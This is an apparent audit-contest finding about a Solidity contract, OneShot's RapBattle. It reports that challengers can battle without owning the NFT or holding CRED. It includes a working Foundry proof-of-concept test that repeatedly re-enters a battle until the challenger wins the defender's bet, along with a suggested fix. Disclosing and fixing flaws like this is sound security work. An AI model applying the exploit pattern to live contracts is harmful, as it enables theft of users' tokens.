First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing Challenger Input Validation in `RapBattle::goOnStageOrBattle` Results in Challengers Being Able to Battle Without an NFT and With Zero `CRED` Balance

paprikrumplikas

Summary

When a user tries to enter a battle as challenger (2nd player), RapBattle::goOnStageOrBattle does check whether said user actually has the CRED balance to cover the bet amount, nor does it check whether said user has the NFT with the submitted ID. Conseqently, challengers can battle without having a rapper NFT, and without actually having any balance in CRED tokens.

Vulnerability Details

To participate in a battle, users need to call RapBattle::goOnStageOrBattle and as arguments to this function, they need to provide

  • (1) the ID of one of their rapper NFTs and

  • (2) the amount of CRED tokens they intend to wager.

However,goOnStageOrBattle does not perform the neccessary input validation when a challenger (2nd player) tries to enter the battle. As a result, challengers can battle without having a rapper NFT, and without actually having any kind of balance in CRED tokens. This oversight undermines the fairness and integrity of battles, allowing challengers to participate risk-free,

Impact

The challenger can cheat the system and is in an unfair advantage. Having a zero balance of CRED, the challenger does not actually risk any funds when entering a battle, hence cannot lose. Since the defender has no option to withdraw from the battle once entered on the stage, the challenger can keep the defender "hostage" and keep battling it until chance turns to the challenger's favor so that the challenger wins.

Consider the following scenario:

  1. Defender calls RapBattle::goOnStageOrBattle, and submits (1) the ID of one of its (not staked) rapper NFTs and (2) some amount of its CRED balance as a bet.

  2. Defender's NFT and amount of CRED tokens submitted to the battle are transferred to RapBattle.

  3. Challenger calls RapBattle::goOnStageOrBattle, but submits the ID of an NFT that he does not actually own, and submits the same bet amount as the defender without actually having any balance of CRED.

  4. Assuming that the defender wins the battle, the challenger cannot pay up since it has a zero balance of CRED. The transaction (where the challenger entered the battle) reverts. Defender's NFT and bet is stuck in the RapBattle contract.

  5. Challenger enters the battle again, the same way as in point 3.

  6. Assuming that this time the challenger wins the battle, the defender's bet amount is transferred to the challenger.

  7. Defender's NFT is finally transferred back to the defender.

Proof of Code

Insert the following piece of code in OneShotTest.t.sol:

​
function test_challengerCanBattleWithoutHavingAnNftOrCredTokens() public {
address defender = makeAddr("defender");
address challenger2 = makeAddr("challenger2");
​
// defender mints, stakes for 4 days, unstakes, then goes on stage
vm.startPrank(defender);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.warp(4 days + 1); // with this, defender wins if run on anvil
streets.unstake(0);
uint256 defenderInitialBalance = cred.balanceOf(defender);
assert(defenderInitialBalance == 4);
uint256 credBet = defenderInitialBalance; // bets his whole balance
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), credBet);
rapBattle.goOnStageOrBattle(0, credBet);
vm.stopPrank();
​
// challenger battles without having an NFT and cred tokens
vm.startPrank(challenger2);
assert(cred.balanceOf(challenger2) == 0);
assert(oneShot.ownerOf(0) != challenger2);
vm.recordLogs();
vm.expectRevert();
rapBattle.goOnStageOrBattle(0, credBet);
vm.stopPrank();
​
// assertions and logs after 1st round
Vm.Log[] memory entries = vm.getRecordedLogs();
address winner = address(uint160(uint256(entries[0].topics[2])));
assertEq(winner, defender);
console.log("Winner round 1: ", winner);
// defender's credbet and NFT is stuck in the rapBattle contract...
// ...until a valid challanger comes or it loses against challenger2
assert(cred.balanceOf(defender) == 0);
assert(oneShot.ownerOf(0) == address(rapBattle));
​
// 2nd round, challenger2 enters battle again as challenger of defender
vm.prank(challenger2);
vm.warp(4 days + 3); // with this, challenger wins if run on local anvil chain
vm.recordLogs();
rapBattle.goOnStageOrBattle(0, credBet);
​
// assertions and logs after 2nd round
Vm.Log[] memory entries_2 = vm.getRecordedLogs();
winner = address(uint160(uint256(entries_2[0].topics[2])));
assertEq(winner, challenger2);
console.log("Winner round 2: ", winner);
assert(cred.balanceOf(defender) == 0); // defender lost 4 cred
assert(cred.balanceOf(challenger2) == 4); // challenger2 won 4 cred but did not risk any
}

and test it by executing forge test --mt test_challengerCanBattleWithoutHavingAnNftOrCredTokens.

Output:

Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] test_challengerCanBattleWithoutHavingAnNftOrCredTokens() (gas: 475576)
Logs:
Winner round 1: 0x4fAD2c378d74800f0Be9eAbE53e1236dE790806F
Winner round 2: 0xd9230796eAB96bC0dDFB7A732aF97F5b482C5b71
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.50ms

Tools Used

Manual review, Foundry

Recommendations

Before starting the battle, check that the challenger

  • actually has the NFT belonging to the ID he submitted to the battle.Before starting the battle, and

  • has enough CRED balance to cover the bet.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender, "Not the owner of the NFT, or NFT is staked!");
+ require(credToken.balanceOf(msg.sender) >= _credBet, "Not enough CRED balance to cover the bet!")
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.